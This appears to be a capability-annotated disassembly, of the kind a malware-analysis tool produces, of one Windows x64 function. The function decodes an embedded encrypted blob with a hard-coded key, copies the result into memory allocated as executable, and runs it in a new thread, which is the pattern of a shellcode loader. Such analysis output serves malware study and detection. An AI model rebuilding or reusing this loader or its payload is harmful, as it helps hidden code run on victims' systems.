Function at 0x140005d80
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rsi
push rdi
mov eax, 0x1848
call fcn.140006250
sub rsp, rax
lea rax, [rsp + 0xee0]
lea rcx, str.qVk_em8TdqhQpSH7bYkYDnCMnOvXzNSX402lZQTy32mQu4bMZgOrBZEXjL1DgaJiWlsjEaxM02Mzq_m_Hnhm9HN8mD9vfqhS1kEnR4JRK7BguoLG_S_bQezKqQ5FZQ54TgqKTaMscrUdq5zmv3XVKkhgAmsUlDMctTfHgXo2EPg0t1xcbeRlmisGTdDO67HgOYT8Ur_4fJ5bU6TyoPtfkWfmrz3MiY4gaEIpwIkKb2__MYTeIGgZZ8J_x0tNHRVFI1UjCrZTfhh3UrVcURVNJryGj0CiTz4occk5nHk_c2UmgQvRg1Gs3S45fWvQtXwQaIckOka8niieTvEu5BydQVVIROX9Osmq9t_Gzv6YPamzKQjX9S2BGxy_k_lEN6U2bcQWIAZHjbnPzx8UP1tVnQIHjuMcAM9EpcxvUqNLADf5sGo6imJ7sj2Opx6J88FnLNln7Jp1d1PpZMOA70Qx5y97WFssv0RUrBybEWBev3asfRhKEAwGJLzC_hWiAhD_TnZO3xAp17XiEPvPyRBNaqMcv1W9KKH7u7iok9TEbUJiCPiTSQDzjMQ8LzYQF9JlDUJSh6wrP3Ziy5f65c48tORsy0fJNbjmp_iQey93G7gcQtht7TzxTji__4bCCESVHK9McaeiqCk1MDMWaMXlQTotfeMOy_DEl3WVHri7koDsDM9xZtAbBwm7sbyJP_Etos8rjxFNBp098LvbE46MBoDsxuNJTnuzEDif61A199uLCxuJQiaz_m8L5lYQpW2lxZ0tzq0iewg_wW9v7vGrjtegWmoeeBfqwW5rLBQBBWTvwO9BmoaxQ8PiT8rWr8jFnZFXUtenEYxS1TYt1qW14R3kumTpbvip4tTSzQJTDvi_tHl0CM9NYc4z89SL9l5b2oUsvxAJonYecvMRrGBJahD6hVyaWs4dgOsjZCenRqwfB6OrZ50rxF7s0hdJKL9tY4WKFoTsRqcoSos09Tne62q_FPMsnolIuzxhHHjOXV0CEcm5vKzSzAnJfDxjQSKKpeRxWBpO9YWsJRz9bLdmPw407kwagHsUry810CiJEEQEAULreGcqB8VwZEHteCjMHpiS_g0oiLxF2TqZhQIX3h3O3jhARbzbPwrGUWDUhMtLYQktHjY4o0h51aSLTr4dwX4urLmI6MTwVJ_RSSMoKQiosOcpv3meE_f7FvuvTLYAdYhbFwlucE5EYveO2BVEPKPh5CwprQvKmaMSKLtNTFLJzIeNddQM5HUeOi6x2nzYSf0JtZbUdwaE9DlYZvassMvHaFc5KihcZGmBjBt2P7JHooZMbZIGwlsIKJbamCidqKClpw1J51axwqYZg0O0E9gLZ06Ix9pC7wcR0aOvKjH2wqq0LQyDHa9DOWyDcVR71E46j50AS89q9g_TrINv8UjHagw6rFLhvZVI1pQhy4GDujTB1AG5PIPajS1QVQS4SrIGlZJoJcf3XVItx9WeTB7WdvbJhgYFWbkzWBXgqoTKNfj2qeMbiNE65xTEylT2e5bPbnnlqY73XWKaPbxFpnXxQbEy68bQZs04nY5eYhNi4LU3LA5TdVO17elERMAZV9CCKEJBmbzfd3m1T96BSTpMOo8aYy263GlKEn1yZ1j2cTvU6ODweCTiKDOf5eqPH1Wfcj9vbcMSaL2a3IaCE0fFdKbTzeVFNoRkmHet8MGjWLfuMzQEj8ueHG_tbsguhmFwdSBlLgKqXJH4Y0LfmleBxmJ0n1TtbFrGarmgw7UOVdEvtM_7MqBLT10upN0XZI7g69nU6GffY9jQXLqKj_jnGn_CCUcVrWQBFG1VrLcdFazWBPf0ts37JXnHgEwGNR_dBj91qDXLD6vJVuxdMFIyP6GGC3BJ58joj2EbpOVykffvu0_XO8EjQi9PoC12n5EqcMBxX73bqgqo8p4l6H4HpcoaAOfQ925ZjSRqeYMB9HZc6RE0BJB9PIL1rgwidtxLTSY5UeVnZvjupddZlJrqes3sxZeywLIsvyHOvHt6gNtV1bmJ5n6IiWHQrx3c86RfA1cNedNGslOsMCgRHx9Sn1buLGS8Rjf7bmhTmQpk9v_DCthQ80kdB3mPd5J5PMrGNHYfk4eoSiEMWjgLpSN50241aqHBuVokWcKru6SC7R9fgXlWD5QmXxkDy72lEIrqt87RLcovNwMypJ5DrzsKEFtT81It342eUJivnqR2cyllmIB7hD9etRgQ_Fr5jzVRcwtO17SLGJIT5DfnBsVC2t4apgaRLCIJA0D95TpfmpbT21BVTOf1LEMorSKQsssxCBUehDFa7qY0XhbAd4JMztlTKe1xVRyy4858XPVWKNdDpceaB685e6q9jd62j0HF6w
mov rdi, rax
mov rsi, rcx
mov ecx, 0x959
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x90]
lea rcx, [0x14000b8a0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x11
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x78]
lea rcx, str.fregrgtgrtgh3456
mov rdi, rax
mov rsi, rcx
mov ecx, 0x11
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xee0]
lea rcx, [rsp + 0xa8]
call fcn.14000434c
nop
lea r9, [rsp + 0x78]
lea r8, [rsp + 0x90]
lea rdx, [rsp + 0xa8]
lea rcx, [rsp + 0x58]
call fcn.140005944
nop
lea rcx, [rsp + 0xa8]
call fcn.1400045c0
lea rax, [rsp + 0x580]
mov rdi, rax
xor eax, eax
mov ecx, 0x959
rep stosb byte [rdi], al
mov dword [rsp + 0x30], 0
jmp 0x140005e54
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
movsxd rax, dword [rsp + 0x30]
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x58]
call fcn.140005354
mov rcx, qword [rsp + 0x50]
cmp rcx, rax
jae 0x140005e94
movsxd rax, dword [rsp + 0x30]
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140004658
movsxd rcx, dword [rsp + 0x30]
mov al, byte [rax]
mov byte [rsp + rcx + 0x580], al
jmp 0x140005e4a
lea rax, [rsp + 0xd0]
mov rdi, rax
xor eax, eax
mov ecx, 0x4ac
rep stosb byte [rdi], al
lea rdx, [rsp + 0xd0]
lea rcx, [rsp + 0x580]
call fcn.140005cbc
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x4ac
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x140005efb
mov dword [rsp + 0x34], 1
lea rcx, [rsp + 0x58]
call fcn.1400045c0
mov eax, dword [rsp + 0x34]
jmp 0x140005f6c
mov r8d, 0x4ac
lea rdx, [rsp + 0xd0]
mov rcx, qword [rsp + 0x40]
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x40]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x48], rax
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x38], 0
lea rcx, [rsp + 0x58]
call fcn.1400045c0
mov eax, dword [rsp + 0x38]
add rsp, 0x1848
pop rdi
pop rsi
ret